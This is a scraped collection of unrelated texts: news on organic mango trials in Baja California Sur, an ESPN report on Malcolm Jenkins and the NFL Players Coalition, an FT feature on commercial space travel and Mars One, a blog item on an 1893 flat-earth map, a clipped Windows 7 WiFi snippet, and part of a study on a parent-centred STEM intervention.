The project started at the request of the producers of Valle de Santiago, in the municipality of Los Cabos, with the goal of producing organic, export quality mango crops and also reducing the environmental impact of conventional farming, since the techniques implemented meet with the requirements of the National Organic Program (NOP) required to access the US market.
The project manager at UABCS, Dr Alfredo Beltrán Morales, of the National Research System (SNI) of the National Council of Science and Technology (CONACYT), explained that the project required the testing of the organic farming techniques in a plot with 50 trees for 4 seasons.
The production of organic crops was higher by up to 10% compared to conventional crops, and the sustainable agricultural practices implemented to improve fertility, reduce soil erosion and increase the biodiversity resulted in healthy organic mangoes with greater nutritional qualities that were also free of contaminants.
Currently, the research team is negotiating with the Secretariat of Agriculture, Livestock, Rural Development, Fisheries and Food (SAGARPA) to establish the requirements for the development of research that will corroborate the preliminary assessments pointing to a nutritional superiority of the mangoes from Baja California Sur compared with fruits of other states.PHILADELPHIA -- Eagles safety Malcolm Jenkins does not plan to protest during the national anthem before Sunday's game at the Seattle Seahawks.
Editor's Picks Sources: NFL pledges $89M to aid social justice In its largest contribution to a single social issue, the NFL has agreed to commit $89 million over seven years to social justice causes considered important to African-American communities, according to sources.
Reid, Jenkins differ over Kap's ties to coalition The involvement of Colin Kaepernick in the Players Coalition is a major reason behind the dispute involving 49ers safety Eric Reid and Eagles safety Malcolm Jenkins. 1 Related
Jenkins revealed his intention after the NFL and the Players Coalition, which Jenkins co-founded, joined in a partnership that calls for the league to contribute $89 million over seven years to projects dealing with criminal justice reform, law enforcement/community relations and education.
"I know a lot of people have kind of made a big deal about the money that the league has proposed, but I'm more concerned and more interested in the platform they're proposing," he said. "The reason I started raising my fist in the first place is to draw awareness to injustices in this country, disenfranchised people of color. I wanted to draw awareness.
"And so I think what the league is proposing is a platform and a campaign similar to what they've done with breast cancer awareness, My Cause, My Cleats, Salute to Service, but hopefully in an even bigger manner.
"And if we're able to amplify our voices to showcase those causes, those issues, to highlight grass-roots organizations who are doing the work and need support, to tell the stories of those people who have been wronged or left out, I think that's even more valuable than the cash amount. So hopefully, in good faith, that gets built out."
Jenkins said his decision to no longer raise his fist during the national anthem, as he has done since Week 2 of the 2016 season, applies to this upcoming Sunday.
Malcolm Jenkins has been raising his fist during the national anthem in protest to raise awareness for social justice issues. AP Photo/Matt Rourke
"All of this really is in good faith, and I think if the league continues to come through or deliver on their word, then I see no need to go back to what I was doing."
Fellow safety Rodney McLeod has joined Jenkins in raising a fist in recent weeks, while defensive end Chris Long has been putting his arm around Jenkins as a sign of support during the anthem since the events in his hometown of Charlottesville, Virginia, this summer.
Jenkins said he was unaware whether his teammates or other members of the Players Coalition, a group of 40-plus men from across the league, will cease their demonstrations.
Seahawks defensive end Michael Bennett called it "a great gesture" on the NFL's part to offer $89 million to social justice causes, saying: "I think most organizations aren't trying to find ways to give back, but I guess this is something that the players really want, and the players really want to be a part of, and I think the ownership wants to too, so we're just finding a way to do it."
Several players, including San Francisco 49ers safety Eric Reid, Miami Dolphins safety Michael Thomas and Los Angeles Chargers offensive tackle Russell Okung, broke away from the Players Coalition before the deal was announced because of disagreements over how Jenkins and former receiver Anquan Boldin have handled negotiations. Bennett said he supports both Jenkins and Reid.
According to ESPN's Jim Trotter and Jason Reid, commissioner Roger Goodell was furious over the players leaving the coalition. But during an afternoon call, Jenkins asked that Goodell and the owners continue to stand with the players and allow them to do important work in the community.
"It's been a trying process for the last year and a half," Jenkins said, "and I'm sure even moving forward there's going to be some growing pains and things we need to move through. But at the end of the day, I'm focused on solutions and outcomes. I really want to make an impact in my community. I want to make sure we do it in the right manner and that we accomplish what we set out to do when we first started to protest as players."
The agreement does not include language calling for players to end protests during the national anthem in exchange for funds; there's no implicit quid pro quo, Boldin confirmed, tweeting out a copy of the deal.
This initiative between the NFL, owners and Players Coalition does not mandate an end to any player demonstrations. Its always been about the issues; strengthening the criminal justice system and fight for racial and social equality. #PlayersCoalition pic.twitter.com/jjYnfimr94 — Anquan Boldin (@AnquanBoldin) November 30, 2017
But the NFL hopes this effort will effectively end the peaceful yet controversial movement that former quarterback Colin Kaepernick started in 2016, when he refused to stand for the anthem, Trotter and Reid report.
"I think that's going to come down to each and every person," Jenkins said on whether the protests continue. "I know for me, I'm less concerned about the money and more concerned about the awareness, because I feel like the opportunity to use the NFL's stage will draw more money than we'd ever be able to do on our own."
ESPN's Brady Henderson contributed to this report.Here we are more than a decade into the 21st century and we’re still not there. To be a child of the 1960s and 1970s was to daydream not only about travelling in space but also about settling there, indefinitely. National space agencies planned inflatable lunar cities. Space was where we were all going to live and work – Moon bases and hotels, everything in Stanley Kubrick’s futuristic 2001: A Space Odyssey. This was the era of the space race and of humanity’s first orbiting residences.
To young people today this is old news: they know that the Americans went to the Moon, just as they know the Romans built straight roads. Manned space flight lost its glamour; Nasa lost its way, its ambition severely weakened by funding cuts; and we gave up on the idea that living in space was the next step in humankind’s evolution. As Buzz Aldrin, the second man on the Moon, tells me: “After the Apollo lunar missions, America lost its love of space – there was no concentrated follow-up and we didn’t have any clear objectives.”
Still, not all hope is lost for wide-eyed space cadets. Today the idea, if not quite the practice, of living in space is coming back into fashion. If the 20th century space race was about the might of the US government, the space race today is about something that could be even more powerful – private wealth.
“Investment in commercial space flight has become one of the big trends among the super-rich,” says Liam Bailey, head of global research at Knight Frank. The property agency has identified more than 70 ultra high net worth individuals (UHNWIs – people with at least $30m in net assets) investing in commercial space travel, 13 of whom are billionaires with a combined wealth of $175bn.
Over the past few years the necessary technology has come into the hands of an unlikely group of young tech billionaires and private contractors. And it is their start-ups that have the boldest ambitions.
There are about 10 private companies engaged in space transport at present, including SpaceX, created by billionaire PayPal co-founder Elon Musk, and Blue Origin, founded by Amazon’s chief executive Jeff Bezos. Space tourism, driven by companies such as Sir Richard Branson’s Virgin Galactic and Jeff Greason’s XCOR Aerospace, aim to give the super wealthy a taste of what it is like to be an astronaut by sending them into suborbital space.
Virgin Galactic's SpaceShipTwo
Aboard Virgin Galactic’s SpaceShipTwo, passengers will see the view that eluded mankind until 50 years ago, and one that only about 500 people have seen in reality: the curvature of the Earth set against the blackness of space. The two-hour journey will blast six passengers and two pilots nearly 70 miles into the sky, experiencing about five minutes of weightlessness before turning back and landing at Spaceport America in New Mexico, frequently described as the world’s first purpose-built commercial spaceport.
The privilege does not come cheap; tickets cost $250,000 each. To date, Virgin Galactic has amassed about $80m in deposits. In customary happy-go-lucky style, Branson says he and his children will be on board the maiden flight later this year (although he initially predicted that his first passengers would take off in 2007; since then, as Tom Bower outlines in his new book, entitled Branson: Behind the Mask, the project has been beset by explosions, deaths and delays).
About 700 people from 57 countries have signed up (and paid) for a seat on SpaceShipTwo, including Leonardo DiCaprio, Stephen Hawking, Justin Bieber and the Candy brothers. Lady Gaga has also reserved a ticket and, if everything goes according to plan, will next year become the first singer to perform in outer space.
Beyond the hype and behind the increased investment in space tourism is another story, with some interesting ramifications closer to home. Although many companies developing commercial space travel are aiming for the moon and beyond, they may end up settling for a lucrative business here on Earth.
Virgin Galactic flights might, for example, in future open up suborbital intercontinental travel – or “point-to-point transportation” – ferrying the super-rich around the globe via the space environment, achieving significant improvements to today’s travel time between distant hubs.
Suborbital travel could cut the journey time from London to Sydney to just a couple of hours, ditto from San Francisco to Singapore. Dubai to Vancouver would take about 90 minutes; Moscow to New York, just an hour.
Virgin Galactic’s Spaceport America in New Mexico, the world’s first commercial space centre
Despite a scratchy few years, Branson has a spring in his step: “I’m very excited about a future version of our current spaceship, which will make transcontinental travel a clean and fast pursuit.” (However, many groups have questioned the environmental impact of commercial space travel.)
Knight Frank’s Wealth Report 2014, provided exclusively to the Financial Times, considers the “dramatic” impact suborbital travel could have on global property markets. “This kind of technology shrinks the globe in significant ways,” says Bailey, author of the report, “but there are big challenges to overcome.”
According to the annual report, which gathers the views of 15,000 UHNWIs, “London wins over New York as a global wealth hub. One of the contributory factors is that London is more convenient for African, Middle Eastern, Russian and European UHNWIs. Within a decade, however, this convenience premium could be noticeably weakened if Branson’s vision turns to reality.”
CGI of an XCOR Aerospace craft
Bailey points to the markets for second homes in Europe. “At the moment, second-home buyers throughout Europe tend to be European. It’s a case of northern Europeans buying nice places in southern Europe with a bit of sunshine. But these locations will become much more global in terms of their demand base,” he says. “The heritage of these locations is hard to replicate, so we’ll see more buyers from China, India and a wave of other places where wealth is being created.”
“An interesting issue is how suborbital travel will effect the concentration of wealth,” he continues. “It will reinforce concentrations of economic activity. Ultimately, the big global cities will be the main beneficiaries – London, New York and San Francisco would suddenly become much easier to access for double or treble the number of people. Sydney, especially, would benefit as it already has huge traction from Asia but is inconvenient for the rest of the world to get to.”
Yolande Barnes, director of residential research at Savills, says: “If – and it’s a big if – suborbital travel takes off, it would encourage a lot more multiple home ownership around the globe. When China and some other parts of Asia really discover how to develop good holiday resorts, there’s huge potential for more Europeans to think about second home ownership there. It could quite easily become a much more global market.”
It may be hard for many to imagine a world of suborbital space travel, involving as it does a wholesale reworking of transportation networks and how we move around the planet. But the aeroplane once reshaped the world in revolutionary ways, and nothing lasts forever.
Making life multi-planetary
Elon Musk, founder of SpaceX, in front of one his company’s space capsules
If you listen to many space futurists, the last great pioneering land rush is yet to come, with billions of dollars to be made in not only suborbital travel but also outposts on the Moon and beyond. Indeed, a group of so-called “astropreneurs” are already thinking beyond tourism. As Elon Musk, the 42-year-old founder of SpaceX, tells me: “We don’t compete with companies like Virgin Galactic. They’re in the little league; our rockets are 100 times bigger.”
When Musk was at school, he believed three things would affect the future of humanity: the internet, sustainable energy, and multi-planetary life. In 1998 he founded PayPal, which went on to change the way people exchange money online. He sold PayPal to eBay for $1.5bn in 2002 and, the following year, launched the electric sports car maker, Tesla Motors, now worth about $4bn.
But SpaceX, founded in 2002, is his most ambitious project. Working out of a shiny white, 1m sq ft factory in California, SpaceX has already made history: in 2012 it became the first private company to dock a spacecraft at the International Space Station.
Still, its ultimate goal is to establish a permanent settlement on Mars. By using rockets that can return to Earth intact, rather than burn up in the atmosphere, the price of a space mission would be cut dramatically. Offering cheap, reliable delivery services to Nasa and commercial clients is, for Musk, a means to perfect the technology that could one day get humans to Mars.
“Hopefully we’ll be able to send the first person there by 2025,” he says. “Developing reusable rockets are the fundamental breakthrough needed in rocketry, without which there will be no Mars base. We aren’t there quite yet, but we’re working on it.”
“I don’t think that humanity’s end is upon us,” he continues, “but given that this is the first time in history where it’s been possible for us to become multi-planetary, it makes a lot of sense to act now.”
After the Apollo lunar missions, Nasa’s budget shrank from more than 4 per cent of the federal budget to its current level of under 0.5 per cent. Private investors and companies have been left to make up the shortfall.
“When I founded SpaceX, development in space transport and rocket technology had essentially frozen,” says Musk. “The Russians had the same rockets they were using when the Soviet Union fell; the US had Boeing and Lockheed rockets that were designed in the last century. The only way technology in any field improves is a result of new entrants. Otherwise, there’s little incentive for the incumbents to get better.”
Would Musk like to visit Mars himself? “Whether I go is a secondary matter,” he says. “This needs to be established for the good of humanity.” However, he understands why so many people are sceptical about the idea of establishing a human settlement on Mars. It is, Musk says, “one of the most difficult things humanity will ever attempt”.
The Chinese National Space Administration says it is on target to achieve manned flights to Mars in the 2040s, but there are other, more eyebrow-raising projects planned by the private sector that aim to get there sooner.
The Dutch blazed a trail in reality television with the creation of Big Brother. Now they are taking the genre to another planet. Last year Bas Lansdorp, a 36-year-old Dutch entrepreneur, advertised for volunteers willing to embark on a one-way trip to Mars to set up a human colony. He plans to foot most of the £4bn bill by staging a global media event, with TV coverage of the entire enterprise, from the astronaut selection process to the pioneers’ time on Mars. “We are in advance negotiations with a major US studio,” says Lansdorp.
A computer-generated image of a Mars One farm
The project, called Mars One, has signalled its intent by partnering with Lockheed Martin, the company contracted by Nasa to build some of its spacecrafts. “We aim to get there by 2025,” says Lansdorp. I point out that Mars One has attracted plenty of detractors who say the project is scientifically unfeasible. “A lot of critics don’t know the details of our plan,” he retorts. “And so far, they haven’t pointed out a single problem that we haven’t been able to find a solution for.”
If Mars One is successful, 24 people will be sent to live on the “red planet”. The astronauts will settle into inflatable pods containing a bedroom, living room, office and food production unit where, says Lansdorp, they will grow vegetables, plants, algae and insects. “To relax, they can do most things we do here on Earth indoors: watch TV, email and video their friends from home,” he says.
A one-way trip to Mars may sound like something you would not wish on your worst enemy, but more than 200,000 people applied from 140 countries during the first phase of selection. The applicant pool has since been cut to 1,058 candidates.
Among them is Danielle Potter, a 29-year-old former hairdresser turned PhD cancer research student at the University of Manchester. Her biggest worry is leaving her friends and family. “My boyfriend won’t even speak to me about it, but I’m trying to explain the bigger picture to him,” she says. Although she is excited about being part of “the biggest event in history”, she has a lot of scientific questions for the Mars One team. “Life on Mars will be pretty horrible. Is there enough water there for us to live off? What if the crops fail? And will the spacesuits protect us from radiation?” Still, Potter thinks the reality TV show could do with someone like her: “I’m a scientist with the personality of a hairdresser.”
Maggie Lieu, a student who has signed up to the Mars One project
Maggie Lieu, a 23-year-old PhD student with the Astrophysics and Space Research Group at the University of Birmingham, is also on the Mars One longlist. “Mankind hasn’t set foot on the Moon since 1972. This mission would have a similar effect on people’s imagination,” she says when I ask her why she signed up. “It’s pushing the boundaries of science, and it’s a once-in-a-lifetime opportunity,” says Lieu. “Who wouldn’t want to be a part of that?”
Plenty of people, I reply, pointing out that Mars One is a one-way mission. “Companies will develop ways of getting back,” she explains, “but the project is still a long way off. I think Mars One will happen but not on the timescale they are saying. But I do think we’ll get to Mars in my lifetime.”
Buzz Aldrin is supportive of Mars One but has some reservations. “The project needs international co-operation if it is to meet its deadlines,” he says. “But the incentive to do it is there. The challenge of colonising Mars easily surpasses my achievement of walking on the Moon.”
Lift-off?
Of course, whether many space ventures will get off the ground, let alone turn a profit, is impossible to predict. Space projects have undeveloped markets and prolonged periods of development. They also eat up cash.
Are there enough wealthy entrepreneurs to make space tourism viable? Research by The Tauri Group, a US consultancy firm, suggests that over the next decade more than 4,000 people will buy tickets for suborbital space flights. This will generate revenues of about $600m which, says the report, will be enough to support an industry of multiple operators.
“A few years ago space was considered a rarefied hobby, but now it’s being taken seriously as a commercial investment opportunity,” says Liam Bailey of Knight Frank. “We’ve noticed an upturn in the amount of UHNWIs investing in commercial space travel. But this isn’t surprising when you consider that many of them made their money in tech, showing that they already have a proven track record of pushing boundaries, which they find thrilling. Commercial space travel is a step into the unknown for them; it’s the next big thing.”
In the Knight Frank Wealth Report, Virgin’s Branson predicts that investment in commercial space will be “one of the most exciting investment sectors in the next 20 years”.
“There is already some good evidence that the leading players are receiving high levels of interest from the mainstream investment community and attracting valuations that reflect confidence in future growth,” he says.
George Whitesides, Virgin Galactic’s chief executive, is similarly bullish. He tells me the company is on track to begin a commercial service on SpaceShipTwo later this year; while suborbital travel on Earth is, he says, “a very exciting, very large market. We could have prototypes ready within five years”. The business opportunity is too big to ignore. “We want Virgin to develop the first space line for planet Earth.”
Andrew Kuh of the UK Space Agency, which is part of the government’s business department, says humans haven’t reached Mars yet because “it is far more complex than scientists anticipated 20, 30 years ago”.
A computer-generated image of of Mars One living accommodation on the ‘red planet’
The UK Space Agency says Britain’s space industry contributes £9bn a year to the economy, employs 28,900 people and is growing at a rate of 7.5 per cent a year. Still, Kuh praises private enterprise in space travel as “an interesting intervention”.
“We’re keeping tabs on it,” he says. “A lot of people investing in space right now are hard-headed businessmen and they wouldn’t be doing it if they thought it wouldn’t succeed, or if they didn’t think they’d make money from it.”
Perhaps not. As the popular joke in the space industry goes: “How do you become a new space millionaire? Start off as a billionaire.”
“People have told me that joke 100 times,” says Elon Musk. “And it’s true. If optimising wealth was my goal, I certainly wouldn’t have picked the rocket business.”
When I ask Philip Metzger, a planetary scientist at Nasa’s Kennedy Space Center, whether he thinks Musk’s idea to establish a colony on Mars in the 2020s is feasible, he says: “Space travel is becoming a lot easier and much more affordable as technology gets better. I don’t have any reason to doubt that his mission will be successful. The biggest barrier is money.”
Metzger, 52, grew up next to the Kennedy Space Center. His father worked there, “so as a little boy I got to see all the rocket launches up close”. Now he manages a Nasa lab that develops technology for “living off the land on the Moon or Mars”.
“A lot of our work surrounding the possibility of establishing a colony in Mars involves straightforward engineering,” he says, pointing towards Nasa’s plans to launch a 3D printer into space next year to help astronauts manufacture spare parts and even buildings in zero gravity.
Still, setbacks are probably going to be part of commercial space exploration for as long as there are people doubting its feasibility – the project is simply too big to be otherwise.
CGI of the interior of a Mars One ‘habitat’
——————————————-
Homes on the Moon?
3D printing could make building a house in space a matter of pressing a button and letting a robot do the work, according to Nasa’s Philip Metzger.
“Contour crafting” enables computers to print a building within 24 hours. The layered fabrication technology sees materials such as lunar soil applied in a predetermined design by a nozzle on a moveable gantry. The theory is that the majority of the materials needed to build a structure already exist in space. Using this technology, it will also be possible to create curved walls and architecture. “We’re doing small scale testing now,” says Metzger.
This development comes at time when it is unclear whether the UN Outer Space Treaty, created in 1967, allows private ownership on celestial bodies. Some commercial companies, such as Bigelow Aerospace, which is owned by the billionaire hotel owner Robert Bigelow, are trying to establish private property rights on the Moon. A decision is expected by the summer.
According to Yolande Barnes of Savills: “It raises interesting issues about the value we place on rarity. Perhaps UHNWIs are taking an interest in investing in lunar property in the same way they might a rare commodity. It’s sensible as a derivatives real estate market – markets which work so long as you have a buyer and a seller. But I can’t see Savills becoming a lunar estate agents any time soon. We sell real real estate.”
John Sunyer is a commissioning editor on House & HomeHere's another reason why you shouldn't throw away anything ever. Since the mid-1970s, former North Dakota state senator Don Homuth has been in possession of the only known complete copy of a singularly strange "Square Earth" map from the 1800s.
This map — which takes its cues from Biblical passages — claims that the Earth resembles a crushed pizza box and that the corners of the planet are guarded by angels the size of continents. As an adult, Homuth received this map from his eighth-grade teacher. Decades later, he realized this map could be the last unblemished map out there and is now donating it to the Library of Congress. Explains Inforum:
Printed in 1893, the nearly 120-year-old "Map of the Square and Stationary Earth" was created by Orlando Ferguson of Hot Springs, S.D. Ferguson's map supports a theory that the Earth is flat. Robert Morris, senior technical information specialist in the Geography and Map Division of the Library of Congress, said they searched through 75 to 100 related maps before confirming they didn't have a similar map in its collections. "Probably very few copies were printed, and even fewer survived," he said. The only other known remaining map is in the Pioneer Museum of Hot Springs, Ferguson's home. But the map in the museum is missing a bottom portion, making Homuth's the only identified and fully intact map left, Homuth said. "For years and years I had it folded away," he said. "It was a shock to hear it may be the only (map of its kind) in the world."
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Now we know why the moon landing was faked — those darn giant angels wouldn't let NASA leave the square. Also, what's the Earth made of past Antarctica? Ice? Dirt? Heavenly shortbread? I do relish the notion that if you trip in Sweden, you could end up in Namibia.
[The History Blog via Nerdcore]An unfinished feature has been discovered lurking within Windows 7, which would allow a regular laptop computer to be transformed into a wireless access point. The "secret" WiFi feature is not a foreign or accidental creation, however. Microsoft crafted "Virtual WiFi" in an effort to "virtual |
of parents in helping children to develop their motivational beliefs (25⇓–27). Prior research on parents’ utility-value beliefs and students’ outcomes is correlational, so this project shows that parents can play a causal role in improving students’ motivation by helping their children to find the utility and relevance in what they are learning. The current study underscores the value of parents as communicators of STEM information to their children. Although parental involvement declines from elementary school to high school, it is still associated with academic success during the high-school years (40) and when it is the right type of involvement, such as emphasizing the personal relevance and importance of course material (41). However, little research has examined the efficacy of interventions with parents or focused on investigating if there is a positive effect of providing parents with resources to help promote optimal types of parental involvement. The current study does just this by providing parents with information and strategies to spur effective communication with their adolescents about STEM topics. Interventions directed at parents, in comparison with those directed at students, have many advantages. First, the intervention can change parents’ behavior over the long term, so that pro-STEM messages are reinforced over time (e.g., with multiple conversations between parents and children). In contrast, student-centered classroom interventions are limited by the number of times that they are implemented in the classroom (17). Second, a parent-centered intervention can lead to a more customized implementation (e.g., by allowing parents to decide how to best use intervention materials with their child) and allow for one-on-one conversations, whereas teacher-led interventions often require less individualized communication, given the logistics of the classroom. For example, one parent might know that their child reacts well to direct conversations, whereas another parent might know that their child does not learn well from direct conversations and prefers to explore information on their own. Third, these interventions can capitalize on parents’ experiences and history with their children to facilitate personalizing the relevance of STEM topics by making connections to their children’s specific interests. Although these are strengths of parent-centered interventions, this does not guarantee that all parents will effectively communicate the information to their children. Moreover, other types of interventions (e.g., student-centered interventions) show great promise as well (17), and the most effective method to improve students’ educational outcomes likely involves careful intervention at multiple levels with students (e.g., parents, teachers, peers) to leverage all available resources. Finally, although we found that this intervention was equally effective for both high and low socioeconomic status (SES) families in our sample, we note that the intervention effect on ACT performance was equivalent to about 50% of the SES gap on mathematics and science test score performance. Given the low enrollment rates of low SES groups in STEM courses (e.g., only 11.3% of low SES students enroll in precalculus or calculus compared with 39.6% of high SES students) (10) and general achievement gaps related to SES (42), parent-centered utility-value interventions might be one way to increase STEM course enrollment for underrepresented groups and reduce persistent achievement gaps. In addition, because STEM jobs are projected to grow in the future and often pay well (2, 3), interventions that increase representation of low SES groups in STEM fields might help to reduce persistent unemployment and income inequality gaps as well. Although the current study showed initial evidence to support this type of parent-centered intervention in helping to address STEM pipeline problems, there are several limitations to this study that should be addressed in future research. First, the sample in this study was recruited in Wisconsin and may not be representative of the overall population in the United States. Other studies have shown that utility-value interventions show similar effects for individuals from diverse racial and SES groups (20, 21), and two-generation interventions have been shown to be effective even in very low SES populations (43), but future studies are needed to test this type of parent-centered utility-value intervention in more diverse populations to show that the effects generalize to various racial and SES groups. Second, the families in this study had been part of an ongoing longitudinal study for many years, which might have increased the level of engagement that parents had with intervention materials. This means that parents in the current study might have been more likely to use intervention materials than a newly recruited group of parents would be because the parents in this study were accustomed to participating in study activities. Future studies should take this into account and ensure that parents engage with intervention materials at high enough rates to see similar gains in students’ outcomes. Third, although this study involved 181 families and 543 total participants, including parents and children in all of the families, future studies should examine these effects in larger samples to demonstrate the scalability of these results. One possibility would involve working directly with school districts to engage parents in these activities with their children. Finally, although we found a direct effect of the intervention on two indicators of STEM preparation (ACT scores and STEM course-taking), we did not find direct effects on posthigh-school STEM career pursuit. Instead, we found an indirect pathway: the intervention improved high-school STEM preparation, which predicted subsequent STEM career pursuit. One limitation of such indirect effects is that they are correlational; thus, a third variable could be responsible for this lasting effect instead of the intervention. Nevertheless, an indirect effect is consistent with our contention that the intervention had lasting effects on important STEM outcomes. An indirect effects analysis is powerful because it moves further down the causal chain by testing the more proximal effect of an initial mechanism (e.g., high-school STEM preparation) on the distal outcome (e.g., STEM career pursuit) (34, 37, 38, 44). In conclusion, based on the findings from the current and previous utility-value intervention studies (16, 39), there is mounting evidence that promoting the relevance of STEM topics for students is an effective method for increasing students’ STEM achievement, career pursuit, and motivation. In addition, these interventions are cost-effective to implement; for example, the parent-centered utility value intervention was comprised of two informational brochures and access to a website. However, recent recommendations from the US Congress and the Department of Education make no mention of this psychological perspective as a way to grow STEM education and alleviate the “pipeline problem” (45). Instead, recommendations center on increasing the budget for STEM classes and resources from kindergarten through 12th grade. Although increasing STEM-education funding will likely increase overall STEM preparation, the body of research on STEM motivation in general—and on utility-value interventions in particular—highlights the importance of targeting students’ psychological beliefs about STEM topics as one pathway to promote further STEM engagement. Overall, findings from the current study emphasize the value of taking a psychological approach to the present STEM pipeline problem.
Materials and Methods Participants. The participating families were originally recruited from the state of Wisconsin in 1990–1991 when mothers were pregnant with their children as part of a longitudinal study with various aims over the years (SI Materials and Methods for additional information). The current sample included 181 families (543 participants including parents and children) with students who attended 108 different high schools, mostly remaining in the state of Wisconsin. Participating students and parents provided written informed assent and consent approved by the Institutional Review Board at the University of Wisconsin–Madison. There were 100 students (47% female) in the control group, and 81 students (48% female) in the intervention group, and the racial breakdown of participants reflected the population of Wisconsin in general (90% White) (46). Procedure. The current study involved parents and students for a time period of 5 y, starting when the students were in 10th grade in high school. Variables of interest included students’ 10th grade standardized state test scores (WKCE scores), students’ STEM course-taking during 11th and 12th grade of high school, students’ mathematics and science ACT scores, and students’ survey responses 5 y after the beginning of 10th grade. The posthigh-school survey assessed four self-reported outcome measures: STEM career aspirations, college STEM course-taking, desired college major, and perceived STEM value. Families were randomly assigned to the intervention or control group, and intervention group parents were sent intervention materials during 10th and 11th grade, whereas control group parents were sent no materials. Specifically, parents in the intervention group received a brochure in the fall of 10th grade, another brochure in January of 11th grade, and access to a website in January of 11th grade. The brochures and websites gave information about the utility of various STEM topics for adolescents, encouragement to communicate this information, and advice about how parents might most effectively communicate this information to their children. A previous report showed that 86% of the parents (either mother, father, or both) reported remembering and using the intervention materials, and 75% of the adolescents confirmed exposure to the intervention materials from their parents, demonstrating a high degree of overall engagement with the intervention (32). SI Materials and Methods for further details on intervention materials and measures.
SI Materials and Methods Participants. The families who participated in this randomized controlled trial (32) have also participated in a larger, longitudinal study since 1990–1991 (Wisconsin Study of Families and Work; for recruitment details, see ref. 47). Median household income at the time of recruitment was $50,000; in 1991, the median income of married couple families in the United States with the wife in the paid labor force was $48,169 (48). Therefore, our sample matches the national figure well. Average years of parents’ education was 15.42 y (SD = 1.92) on a scale where 12 y was equivalent to high-school graduation or GED completion. The racial breakdown of the students reflected the state in which the sample was recruited: 90% were White (not of Hispanic origin), 2% were African American, 1% were Native American, and 7% were biracial or multiracial (46). The original sample for the current study had 188 families in 108 different high schools, but seven students and their parents were dropped from analyses because we did not receive a high-school transcript for them. This lack of transcript occurred for a variety of reasons, including a lack of consent and homeschooling (32). Collection of the transcript did not vary by condition or gender. Intervention Materials. The intervention consisted of sending intervention group parents two brochures in the mail and also giving them access to a password-protected website. The first set of intervention materials consisted of a single brochure entitled, “Making Connections: Helping Your Teen Find Value in School,” sent to both parents when the students were in 10th grade. Because prior research had shown that many parents did not know why common topics in mathematics and science could be useful or relevant (30), this brochure contained information and examples about the usefulness of STEM topics in their child’s life (e.g., calculating sales prices when shopping, mathematics courses in high school as necessary for a variety of college majors). It also encouraged parents to discuss these topics with their child and provided them with strategies and advice about how to communicate this information most effectively with their child. The advice centered on involving children in generating personally relevant examples. A second set of intervention materials was sent in 11th grade to both parents individually and included a second brochure entitled, “Making Connections: Helping Your Teen with the Choices Ahead,” as well as access to a password-protected website entitled “Choices Ahead.” This brochure gave additional examples of how STEM topics were relevant in everyday life and also included a greater focus on how STEM topics were important for a variety of careers and majors in college. There were also additional tips and encouragement given to parents about the ways in which they could communicate this information effectively to their child. More specifically, there were three overarching sections in this brochure: (i) information on specific occupations in mathematics, physics, biology, and chemistry, as well as how individuals in these fields used mathematics and science in their everyday activities; (ii) separate sections on the relevance of STEM topics for everyday activities, adult life more generally, and college and career planning in particular; and (iii) information on ways to overcome challenges in communicating this information to the child (e.g., parents were asked to first find connections with mathematics and science in their own lives and then help their child discover examples specific to their lives). The website contained extensive information related to the relevance of mathematics and science for college and career planning. It also offered parents the opportunity to send specific links from the website to their students via email. The information on the website was broken up into four sections. The precollege planning section included specific pages for both the parent and student, and each page provided links and information on websites where students could find more career and college planning information (e.g., a link to a website that focused on finding the right college, a link to a website that allowed one to search a database of potential careers). The next section included information on the preparation needed to obtain a career in biology, chemistry, physics, and mathematics, with more clickable links specific to those fields. The third section provided parents and students with career information on four career domains in particular: biology and chemistry, healthcare (medicine, nursing, and veterinary), physics and engineering, and mathematics and architecture. Finally, the last section included more information on mathematics and science in one’s everyday life as well as testimonials from students at University of Wisconsin–Madison detailing how their mathematics and science preparation in high school has been important for their college trajectories (e.g., “Although I did not particularly care for math or science in high school, once I got to college, I was so glad that I opted to take advanced level courses in each. I didn’t realize at the time how much a strong background in math and science would help me with the required courses for my major, like zoology and statistics. Math and science classes weren’t the most interesting to me, but they very well may have been the most useful, and I probably would have struggled through many college courses had I decided only to take the minimum level of math and science required for graduation.”). Measures. Student’s’ transcripts were collected after graduation, as previously reported (32), and we also collected students’ WKCE and ACT scores from school records for the current study. Another set of measures was collected through a survey given during the summer 2 y after students’ senior years of high school. The proportion of missing data for the variables described below did not significantly differ by experimental condition. 11th and 12th grade STEM courses-taking. High-school transcripts were collected (control: male n = 53, female n = 47; intervention: male n = 42, female n = 39) and coded for number of semester of mathematics and science taken in 11th and 12th grade (mean = 7.85; SD = 2.57; response rate: 100%). Mathematics and science ACT score. ACT scores were collected through official high-school records from the students, and the mathematics and science ACT scores were averaged to create a composite mathematics and science ACT score measure (mean = 24.55; SD = 4.39; response rate: 71%). College STEM course-taking. Mathematics and science college course-taking was assessed by asking students 2 y after their senior year of high school how many science and mathematics courses they had taken so far in college. A composite measure of college STEM course-taking was created by summing the two variables (mean = 5.86; SD = 3.87; response rate: 68%). STEM career aspirations. Two years after students’ senior year of high school, students responded to an open-ended question asking what career they envisioned themselves having at age 30. Responses to this open-ended question were matched to careers using the O*NET OnLine career coding system, which is sponsored by the US Department of Labor, Employment, and Training. The O*NET OnLine website (www.onetcenter.org/overview.html) offers scores, referred to as knowledge values, for mathematics (mean = 55.25; SD = 18.37), physics (mean = 23.00; SD = 21.52), chemistry (mean = 25.33; SD = 22.16), biology (mean = 31.97; SD = 29.93), and engineering and technology (mean = 27.72; SD = 24.23) on a scale from 0 to 100 for each career. A higher score on a knowledge value indicates that a higher level of knowledge in that topic is needed for that career. For example, a career as a civil engineer would have higher scores on the five knowledge values compared with a career as a lawyer. Once careers were matched to a career on the O*NET online website, the highest of five knowledge values was used for each student to create the STEM career aspirations measure (mean = 61.70; SD = 20.90; response rate: 65%). College STEM major. Two years after students’ senior year of high school, students were also asked to report their major using an open-ended question. The majors were coded as a STEM major or a non-STEM major using two independent observers, and disagreements were resolved by an independent third coder (40.17% STEM majors; response rate: 65%). Perceived STEM value. Students’ STEM value (M = 5.50; SD = 1.50) was assessed 2 y after students’ senior year of high school with three items measured on a 1 (strongly disagree) to 7 (strongly agree) scale that asked about the students’ perceptions of the importance of mathematics and science in general, as well as in their future career and classes (“Math and science are important for my future”; “I will use math and science in my job or career”; “I want to take more math and science classes in the future.” α = 0.91; response rate: 73%). Perceived parental STEM support. Perceived parental STEM support (mean = 5.93; SD = 1.01) 2 y after students’ senior year of high school was assessed using three items measured on a 1 (strongly disagree) and 7 (strongly agree) scale that asked about how much students’ parents valued and encouraged mathematics and science topics and courses (“My parents think math and science are important for my life”; “My 